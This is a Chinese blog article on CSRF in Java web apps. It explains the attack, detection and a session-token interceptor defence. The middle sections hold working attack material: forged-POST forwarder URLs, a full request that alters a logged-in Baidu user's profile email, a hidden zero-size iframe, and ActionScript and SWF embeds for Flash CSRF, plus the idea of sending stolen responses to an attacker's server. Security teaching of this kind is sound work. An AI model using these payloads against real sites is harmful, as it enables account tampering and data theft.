当前位置: 首页 > news >正文

关于JavaWeb中的CSRF攻打与防御

关于JavaWeb中的CSRF攻击与防御
最近在维护一个对日项目中遇到此问题,自己针对此问题也提出了一些方案。拿出来与大家交流一下。
0x01 什么是CSRF攻击

    CSRF是Cross Site Request Forgery的缩写(也缩写为XSRF),直译过来就是跨站请求伪造的意思,也就是在用户会话下对某个CGI做一些GET/POST的事情——这些事情用户未必知道和愿意做,你可以把它想做HTTP会话劫持。
    网站是通过cookie来识别用户的,当用户成功进行身份验证之后浏览器就会得到一个标识其身份的cookie,只要不关闭浏览器或者退出登录,以后访问这个网站会带上这个cookie。如果这期间浏览器被人控制着请求了这个网站的url,可能就会执行一些用户不想做的功能(比如修改个人资料)。因为这个不是用户真正想发出的请求,这就是所谓的请求伪造;呵呵,因为这些请求也是可以从第三方网站提交的,所以前缀跨站二字。
    举个简单的例子,某个bbs可以贴图,在贴图的URL中写入退出登陆的链接,当用户阅读这个帖子之后就会logout了,因为用户以自己的身份访问了退出登陆链接,在用户看来是帖子里面有一张有问题的“图片”,而不是想要退出,但程序就会认为是用户要求退出登陆而销毁其会话。这就是传说中的CSRF攻击了。
    不要小看CSRF哦,记得以前L-Blog就存在一个CSRF漏洞(当时还不知道这个概念:p),它添加管理员是这样的一个链接:http://localhost/L-Blog/admincp.asp?action=member&type=editmem&memID=2&memType=SupAdmin,我们只要构造好ID想办法让管理员访问到这个URL就可以了;还有Google那个CSRF漏洞[1],将导致邮件泄漏;另外,不要以为只有XSS才能爆发蠕虫,只要条件合适,CSRF同样是有可能的。


0x02 威胁来自哪里

    贴图只是GET的方式,很多时候我们需要伪造POST的请求。一个办法是利用跨站,当然目标站点可能不存在跨站,这个时候我们可以从第三方网站发动攻击。
    比如我要攻击一个存在问题的blog,那就先去目标blog留言,留下一个网址,诱其主人点击过来(这个就要看你的忽悠本事咯:p),然后构造个HTML表单提交些数据过去。
    多窗口浏览器就帮了一点忙。
    多窗口浏览器(firefox、遨游、MyIE……)便捷的同时也带来了一些问题,因为多窗口浏览器新开的窗口是具有当前所有会话的。即我用IE登陆了我的Blog,然后我想看新闻了,又运行一个IE进程,这个时候两个IE窗口的会话是彼此独立的,从看新闻的IE发送请求到Blog不会有我登录的cookie;但是多窗口浏览器永远都只有一个进程,各窗口的会话是通用的,即看新闻的窗口发请求到Blog是会带上我在blog登录的cookie。
    想一想,当我们用鼠标在Blog/BBS/WebMail点击别人留下的链接的时候,说不定一场精心准备的CSRF攻击正等着我们。


0x03 发起CSRF攻击

    从第三方站点利用POST发动CSRF攻击就是利用Javascript自动提交表单到目标CGI。每次都去写表单不是很方便,辅助进行的工具有XSS POST Forwarder[2]和CSRF Redirector[3],这里我也写了相应的ASP版本[4]。使用的时候只要把提交的url和参数传给它,它就会自动POST到目标。
    比如我要提交一些数据到www.0x54.org/a.asp:http://www.0x54.org/lake2/xss_post_forwarder.asp?lake2=http://www.0x54.org/a.asp&a=123&b=321&c=%26%23%25(这里要自己考虑URL编码哦)
    不过实际攻击的时候你得动动脑子:如何才能把用户诱骗到我们的网页来。


0x04 一个实例

    因为CSRF不如XSS那么引人注目,所以现在找一个存在CSRF的Web应用程序还是很容易的。这次我们的目标是百度,just for test。
    随便你用什么办法,让一个已登陆百度的用户访问一下这个URL:http://www.0x54.org/lake2/xss_post_forwarder.asp?lake2=http://passport.baidu.com/ucommitbas&u_jump_url=&sex=1&email=CSRF@baidu.com&sdv=&zodiac=0&birth_year=0&birth_month=0&birth_day=0&blood=0&bs0=%C7%EB%D1%A1%D4%F1&bs1=%C7%EB%D1%A1%D4%F1&bs2=%CE%DE&txt_bs=&birth_site=%3B%3B&b%3Drs0=%C7%EB%D1%A1%D4%F1&rs1=%C7%EB%D1%A1%D4%F1&rs2=%CE%DE&txt_rs=&reside_site=%3B%3B
    呵呵,然后看看那人个人资料是不是被修改了。这里有点郁闷,当那人访问URL后浏览器会返回到资料修改成功的页面,我们就被发现了。那么,有没有办法不让浏览器刷新呢?
    有。
    一个办法是用iframe,构造这样的HTML代码:<iframe width=0 height=0 src="http://www.0x54.org/lake2/xss_post_forwarder.asp?lake2=http://passport.baidu.com/ucommitbas&u_jump_url=&sex=1&email=CSRF@baidu.com&sdv=&zodiac=0&birth_year=0&birth_month=0&birth_day=0&blood=0&bs0=%C7%EB%D1%A1%D4%F1&bs1=%C7%EB%D1%A1%D4%F1&bs2=%CE%DE&txt_bs=&birth_site=%3B%3B&b%3Drs0=%C7%EB%D1%A1%D4%F1&rs1=%C7%EB%D1%A1%D4%F1&rs2=%CE%DE&txt_rs=&reside_site=%3B%3B"></iframe>
    还有一个办法就是用flash了。


0x05 CSRF With Flash

    flash是可以提交数据到任意URL的,打开盗版的 Adobe flash CS 3 Professional,新建一个 flash文件(ActionScript 3.0) ,在默认的图层上点右键选动作,然后把以下代码添加进去:


       import flash.net.URLRequest;
       import flash.system.Security;
       var url = new URLRequest("http://www.0x54.org/lake2");
       var lake = new URLVariables();
       lake = "a=lake2";
       url.method = "POST";
       url.data = lake;
       sendToURL(url);
       stop();

    导出为swf文件,访问之,抓包看看效果咯:http://www.0x54.org/lake2/flash/test1.html
    每次都去写as和编译swf很麻烦的,根据CSRF Redirector的思路我写了一个类似的flash程序[5],再拿百度来试试效果,访问带如下HTML的网页:<EMBED src="http://www.0x54.org/lake2/flash/flash_hacking.swf?f=1&t=http://passport.baidu.com/ucommitbas&d=u_jump_url%3D%26sex%3D1%26email%3DCSRF@baidu.com%26sdv%3D%26zodiac%3D0%26birth_year%3D0%26birth_month%3D0%26birth_day%3D0%26blood%3D0%26bs0%3D%25C7%25EB%25D1%25A1%25D4%25F1%26bs1%3D%25C7%25EB%25D1%25A1%25D4%25F1%26bs2%3D%25CE%25DE%26txt_bs%3D%26birth_site%3D%253B%253B%26b%253Drs0%3D%25C7%25EB%25D1%25A1%25D4%25F1%26rs1%3D%25C7%25EB%25D1%25A1%25D4%25F1%26rs2%3D%25CE%25DE%26txt_rs%3D%26reside_site%3D%253B%253B"></EMBED>(还是要注意URL二次编码)
    这里不要只局限于发请求,其实flash是可以得到返回内容的,要是返回内容有敏感信息的话,就可以读出来发送到我们控制的Web去。当然,这个得看目标站点是否让flash跨域取内容了。


0x06 检测CSRF

    检测CSRF漏洞都是体力活了,先抓取一个正常请求的数据包,然后去掉referer字段再重新提交,如果还是有效那基本上就存在问题了。当然参数可能含有不能预测的参数(比如userid什么的),这个时候就看这个不可预测的参数能不能通过其他手段比如flash拿到,如果能,呵呵,则还是存在问题。还有就是试着改post为get,因为有些程序是不区分get/post的。
    应用程序的功能和返回形式都各不相同,所以想自动化测试CSRF漏洞还是有点困难的,OWASP上面有一个叫做CSRFTester的工具不妨拿来一试[6]


0x07 防御CSRF

     刚开始接触到这个问题的时候,大概的了解了一下,结果将CSRF想的太过于复杂,首先采用了最广泛的方法,使用Token,为了减少改造的工作量,所以只对Action中对数据库做增、删、更新的操作进行防御。所有的Action继承一个BaseAction,然后再BaseAction中添加一个方法,用于计算Token,并存储到Session中,然后增加一个拦截器,当用户请求Action中的增、删、更方法时,拦截器首先验证表单中是否有Token值,然后判断这个Token是否在Session中,如果存在则通过拦截,并从Session中移除这个Token,反之则中断用户请求。后来考虑到如果别人从画面中取到这个Token值,会做成拦截失效,这里把CSRF考虑的过于复杂了,所以改造了一下Session存储的方式,以前使用List存储,现在使用Map<Token, 画面的URL地址>,这样,每个Token仅仅对一个URL地址有效,拦截器修改一下验证方式,根据Token值得到画面URL,然后比较Session中的URL是否于Request的URL地址相同。

相关文章:

  • 虚拟主机提权技巧:调用远程路径去执行CMD
  • vlan hopping attack
  • 屏蔽几个知名的安全工具对网站进行扫描
  • PHP面向对象程序设计的61条黄金法则
  • PHP程序员面试题
  • 构架高性能WEB网站的几点知识
  • apache常用配置
  • 作为程序员为什么一直都很努力,却没有进步?
  • node.js进阶学习
  • 3种Nginx防盗链的方法
  • Nginx反向代理到apache
  • Nginx负载均衡如何进行配置
  • 网站上线之前需要检查的13个问题
  • php实现文件上传进度条
  • PHP程序员突破成长瓶颈
  • 分享的文章《人生如棋》
  • [ JavaScript ] 数据结构与算法 —— 链表
  • 【347天】每日项目总结系列085(2018.01.18)
  • java中的hashCode
  • Less 日常用法
  • python_bomb----数据类型总结
  • Stream流与Lambda表达式(三) 静态工厂类Collectors
  • 前端技术周刊 2019-01-14:客户端存储
  • 前端每日实战:70# 视频演示如何用纯 CSS 创作一只徘徊的果冻怪兽
  • 如何用Ubuntu和Xen来设置Kubernetes?
  • 项目管理碎碎念系列之一:干系人管理
  • puppet连载22:define用法
  • #周末课堂# 【Linux + JVM + Mysql高级性能优化班】(火热报名中~~~)
  • (ISPRS,2023)深度语义-视觉对齐用于zero-shot遥感图像场景分类
  • (待修改)PyG安装步骤
  • (翻译)terry crowley: 写给程序员
  • (附源码)spring boot校园健康监测管理系统 毕业设计 151047
  • (附源码)计算机毕业设计SSM疫情居家隔离服务系统
  • (删)Java线程同步实现一:synchronzied和wait()/notify()
  • (数位dp) 算法竞赛入门到进阶 书本题集
  • (转)关于如何学好游戏3D引擎编程的一些经验
  • ******IT公司面试题汇总+优秀技术博客汇总
  • .bat批处理(二):%0 %1——给批处理脚本传递参数
  • .Net Remoting(分离服务程序实现) - Part.3
  • .Net(C#)常用转换byte转uint32、byte转float等
  • .NET/C# 编译期间能确定的相同字符串,在运行期间是相同的实例
  • .NET中的十进制浮点类型,徐汇区网站设计
  • /bin/bash^M: bad interpreter: No such file or directory
  • []使用 Tortoise SVN 创建 Externals 外部引用目录
  • [100天算法】-x 的平方根(day 61)
  • [17]JAVAEE-HTTP协议
  • [AIGC] Java 和 Kotlin 的区别
  • [c++] 单例模式 + cyberrt TimingWheel 单例分析
  • [C++] 如何使用Visual Studio 2022 + QT6创建桌面应用
  • [Django 0-1] Core.Checks 模块
  • [Docker]十二.Docker consul集群搭建、微服务部署,Consul集群+Swarm集群部署微服务实战
  • [HNCTF 2022 WEEK2]easy_include 文件包含遇上nginx
  • [Linux] PHP程序员玩转Linux系列-telnet轻松使用邮箱
  • [NYOJ 536] 开心的mdd
  • [PHP] 面向对象